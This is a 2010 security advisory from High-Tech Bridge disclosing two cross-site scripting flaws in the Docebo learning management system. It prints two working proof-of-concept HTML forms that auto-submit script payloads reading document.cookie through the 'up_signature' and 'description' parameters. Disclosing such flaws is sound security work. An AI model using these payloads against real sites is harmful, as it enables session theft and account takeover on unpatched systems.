Cross-site Scripting (XSS) Vulnerabilities in Docebo

Advisory ID:HTB22611
Product:Docebo
Vendor:Docebo
Vulnerable Versions:3.6.0.4 and probably prior
Tested Version:3.6.0.4
Advisory Publication:September 20, 2010 [without technical details]
Vendor Notification:September 20, 2010
Public Disclosure:October 4, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Docebo which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in Docebo
1.1 The vulnerability exists due to input sanitation error in the "up_signature" parameter in doceboLms/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is authorized.
Exploitation example:
<form action="http://host/doceboLms/index.php?modname=profile&op=profile&id_user=1 368&ap=saveinfo" method="post" name="main" >
<input type="hidden" name="up_lastname" value="admin" />
<input type="hidden" name="up_firstname" value="admin" />
<input type="hidden" name="up_email" value="" />
<input type="hidden" name="user_preference[ui.language]" value="4" />
<input type="hidden" name="user_preference[ui.template]" value="0" />
<input type="hidden" name="up_signature" value='123"><script>alert(document.cookie)</script>' />
<input type="hidden" name="save" value="Salva" />
</form>
<script>
document.main.submit();
</script>

1.2 The vulnerability exists due to input sanitation error in the "description" parameter in doceboLms/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is authorized.
Exploitation example:
<form action="http://host/doceboLms/index.php?modname=advice&op=upadvice" method="post" name="main" >
<input type="hidden" name="idAdvice" value="2" />
<input type="hidden" name="title" value="Hello" />
<input type="hidden" name="description" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="addadvice" value="Save changes" />
</form>
<script>
document.main.submit();
</script>

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Solution:
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References:
[1] High-Tech Bridge Advisory HTB22611 - https://www.immuniweb.com/advisory/HTB22611 - Cross-site Scripting (XSS) Vulnerabilities in Docebo
[2] Docebo - docebo.com - Docebo is a learning management system that has been selected and used by more than 2.200 organizations worldwide.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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